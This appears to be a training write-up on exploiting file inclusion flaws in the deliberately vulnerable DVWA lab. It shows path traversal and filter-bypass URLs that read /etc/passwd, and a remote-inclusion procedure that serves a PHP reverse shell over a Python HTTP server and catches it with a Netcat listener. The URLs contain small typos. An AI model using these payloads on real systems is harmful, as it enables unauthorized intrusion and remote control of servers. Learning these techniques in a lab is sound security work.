File inclusion

Comprehensive writeup: Exploiting File Inclusion Vulnerabilities

Introduction:

File Inclusion Attacks pose a serious threat to web applications, enabling attackers to manipulate the inclusion of files and potentially lead to remote code execution. This writeup explores the exploitation of Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities across different security levels (Low, Medium, and High) in a web application. The purpose is to highlight the impact of insufficient input validation and the importance of secure coding practices.

What is File Inclusion Attack?

A File Inclusion Attack is a security exploit that enables an attacker to incorporate a file on a web server by leveraging a PHP script. This vulnerability emerges when a web application permits clients to input or upload files. Unlike a standard Directory Traversal Attack, which focuses on unauthorized file system access, a file inclusion vulnerability manipulates how an application loads code for execution. If successfully exploited, a file inclusion vulnerability leads to remote code execution on the web server hosting the affected application.

There are two main types of file inclusion attacks: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

1. Local File Inclusion (LFI):

• In an LFI attack, the attacker exploits vulnerabilities in a web application to include and execute local files on the server. This means that the attacker can read files that are present on the server, such as configuration files, system files, or other sensitive information.
• LFI attacks often target web applications that use user input, such as file paths or parameters, without proper validation or sanitization.

Example URL with LFI vulnerability:

http://example.com/index.php?page=../../etc/passwd

If the web application is vulnerable, this could lead to the inclusion of the /etc/passwd file.

2. Remote File Inclusion (RFI):

• RFI is a more severe form of file inclusion attack. In an RFI attack, the attacker can include files from a remote server. This means that the attacker can execute arbitrary code hosted on an external server, potentially leading to complete compromise of the affected system.
• RFI attacks are particularly dangerous because they allow attackers to introduce and execute malicious code on the server.

Example URL with RFI vulnerability:

http://example.com/index.php?=http://malicious.com/malicious_code.php

If the web application is vulnerable, this could lead to the execution of code from the external.

Methodology

Low Security Level (LFI):

• Utilized the DVWA (Damn Vulnerable Web Application) to demonstrate a basic LFI vulnerability.
• Obtained a PHP reverse shell from revshells.com and hosted it on a local server.
• Manipulated the ‘page’ parameter in the URL to include the reverse shell script.Successfully gained a reverse shell by exploiting the vulnerability.

Medium Security Level (LFI):

• Examined a more secure scenario with additional input validation in place.
• Identified weaknesses in the str_replace-based input validation.
• Attempted to bypass the validation using creative patterns like …/./.
• Successfully exploited the vulnerability by crafting a URL that bypassed the validation.

High Security Level (LFI):

• Analyzed a higher security level where input validation involves pattern matching with fnmatch.
• Recognized that the validation was not sufficiently robust.
• Exploited the vulnerability by using file:// protocol, which wasn’t filtered by fnmatch.
• Demonstrated the inclusion of sensitive files like /etc/passwd.

Low and Medium Security Level (RFI):

• Explored RFI vulnerabilities by attempting to include a remote PHP reverse shell.
• Prepared a Python HTTP server to host the reverse shell script.
• Manipulated the ‘page’ parameter in the URL to include the remote PHP script.
• Successfully obtained a reverse shell by triggering the RFI vulnerability.

High Security Level (RFI):

• Acknowledged the security measures in place, preventing the inclusion of external content.
• Recognized that the web server exclusively accepts files named “include.php” or those starting with “file.”
• Concluded that RFI is not feasible due to stringent input validation.

Local File Inclusion:

1: Low

Initiate your system, access the Damn Vulnerable Web Application (DVWA), log in, navigate to the security tab within DVWA, and modify the difficulty level to the “low” setting.

Source code:
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

The variable $file is assigned the value of the 'page' parameter from the GET request. In PHP, the $_GET superglobal is used to retrieve values from the URL, so we can easily manipulate the URL.

http://127.0.0.1:8888/vulnerabilities/fi/?page=../../../../../../etc/passwd

why did this happened?

There is no validation or sanitization of the user-provided input. This lack of validation allows users to input arbitrary values, including file paths, which can be exploited for malicious purposes.

2. Medium

source code:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

Let’s break down the provided PHP code in points:

Code Breakdown:

• $_GET['page']: Retrieves the value of the 'page' parameter from the URL query string. This value is intended to specify the page to display.
• str_replace(array("http://", "https://"), "", $file): Removes "http://" and "https://" prefixes from the $file variable, likely to prevent accessing files on external servers.
• str_replace(array("../", "..\""), "", $file): Removes "../" and ".." sequences from the $file variable, aiming to block path traversal attacks that try to access files outside the intended directory.

Attempted Bypass:

• The blocked strings ../../../ and ..\..\..\..\ are common path traversal attempts to navigate up multiple directory levels.
• The attacker tried ..././..././..././..././..././..././..././ as a bypass.

http://127.0.0.1:8888/vulnerabilities/fi/page=..././..././..././..././..././..././..././etc/passwd

Why It Worked:

• Loose Pattern Matching: The str_replace function used strict string matching, looking for exact sequences of "../" or "..". It didn't account for variations like ..././.
• Equivalent Paths: The string ..././ is essentially equivalent to ../ in terms of file system navigation. It moves up one directory level, but the extra dots and slashes bypassed the filter.

3. High

vulnerabilities/fi/source/high.php
<?php

// The page we wish to display
$file = $_GET[ ‘page’ ];

// Input validation
if( !fnmatch( “file*”, $file ) && $file != “include.php” ) {
// This isn’t the page we want!
echo “ERROR: File not found!”;
exit;
}

?>

1. User Input Capture: The code captures user input from the ‘page’ parameter in the URL using $_GET['page'] and assigns it to the variable $file. This is a common way to retrieve user-supplied data from the URL.
2. Input Validation: The fnmatch function is used for pattern matching. The condition in the if statement checks whether the value of $file does not match the pattern "file*" (i.e., it does not start with "file") and is not equal to "include.php."
3. Conditional Check: If the condition evaluates to true (meaning the input does not meet the specified criteria), the code inside the conditional block is executed.
4. Error Handling: Inside the conditional block, an error message is echoed to the user: “ERROR: File not found!” This message indicates that the requested file is not allowed based on the input validation rules.
5. Script Termination: The exit function is then called, terminating the execution of the script. This ensures that if the input is not valid, the script stops executing further code, preventing the inclusion of unauthorized files.

Vulnerability:

• Insufficient Validation: The fnmatch function used for validation is inadequate. It only checks if the filename starts with "file" or is exactly "include.php", leaving room for exploitation.

Exploit:

http://127.0.0.1:8888/vulnerabilities/fi/?page=file:///etc/paswd

• File Path Manipulation: The attacker provided :file:///etc/passwd as the page parameter, crafting a malicious file path.
• Bypassing Validation: The :file:// prefix, often used to access local files in browsers, wasn't filtered by the fnmatch function, allowing the attacker to pass the check.
• Accessing Sensitive File: The application likely included the specified file, unintentionally exposing the contents of /etc/passwd, a sensitive file containing user account information.

Why It Worked:

• Loose Validation: The fnmatch function only checked for specific filename patterns, not handling potential URL schemes like file://.
• File Protocol Handling: The application might have interpreted :file:// as a valid file path, leading to the inclusion of the specified file.

Remote File Inclusion

1. Low

1. Preparation:

Obtained Reverse Shell:

• Visited https://revshells.com to obtain a PHP reverse shell, specifically the one of PHPPentestMonkey.

Setup Python HTTP Server:

• Started a simple HTTP server using the command: python3 -m http.server 80 to serve the reverse shell script.

2. Listener Setup:

• Set up a Netcat listener using the command: nc -lnvp <port> to listen for incoming connections on a specific port.

3. Exploiting the LFI Vulnerability:

• Manipulated the ‘page’ parameter in the URL to include the reverse shell script hosted on your machine:

http://127.0.0.1:8888/vulnerabilities/fi/page=http://10.0.2.16/revsh.php

• Accessed the manipulated URL, triggering the LFI vulnerability and causing the web application to include the remote PHP script.

4. Obtaining the Reverse Shell:

• Due to the successful inclusion of the reverse shell script, a connection was established to your Netcat listener.

• You now have an interactive shell on the target system, allowing you to execute commands and interact with the compromised machine.

Medium(RFI)

1. Preparation:
Obtained Reverse Shell:

• Similar to the “Low” level, obtained a PHP reverse shell from https://revshells.com.
• Maintained the Python HTTP server to serve the reverse shell script.

Listener Setup:

Kept the Netcat listener active for incoming connections.

Exploiting the LFI Vulnerability:

Manipulated the ‘page’ parameter in the URL to include the reverse shell script hosted on your machine, with a slight modification in the URL for the “Medium” level:

http://127.0.0.1:8888/vulnerabilities/fi/?page=Http://10.0.2.16/revsh.php

Accessed the manipulated URL, exploiting the LFI vulnerability and causing the web application to include the remote PHP script.

Obtaining the Reverse Shell:

Similar to the “Low” level, due to the successful inclusion of the reverse shell script, a connection was established to your Netcat listener.
Command Execution:

You have gained an interactive shell on the target system, allowing you to execute commands and interact further with the compromised machine.

Hard

Exploiting the high difficulty level using Remote File Inclusion (RFI) is not feasible, as indicated in the source page. It’s understood that the target web server exclusively accepts files named “include.php” or those commencing with the term “file,” preventing the inclusion of external server content.

Findings

Common Vulnerabilities:

• Across different security levels, common vulnerabilities included insufficient input validation and pattern-matching limitations.

Exploitation Techniques:

• Exploited LFI by manipulating URL parameters to traverse directories and include remote files.
• Bypassed input validation using variations in file path representations.
• Demonstrated successful RFI attacks by including remote PHP scripts.

Recommendations

Input Validation:

Implement robust input validation, considering variations in file path representations.
Use regular expressions for precise pattern matching and validation.

Whitelisting:

Consider whitelisting allowed values for file inclusion, reducing the risk of unauthorized inclusions.

Security Education:

Provide security training for developers to enhance awareness of common vulnerabilities and secure coding practices.

Conclusion

File Inclusion Attacks, when left unaddressed, can lead to severe security breaches. This writeup demonstrated the exploitation of LFI and RFI vulnerabilities across different security levels. It underscores the importance of thorough input validation, secure coding practices, and continuous security education for developers. By following these recommendations, web applications can significantly reduce the risk of file inclusion vulnerabilities and enhance overall security.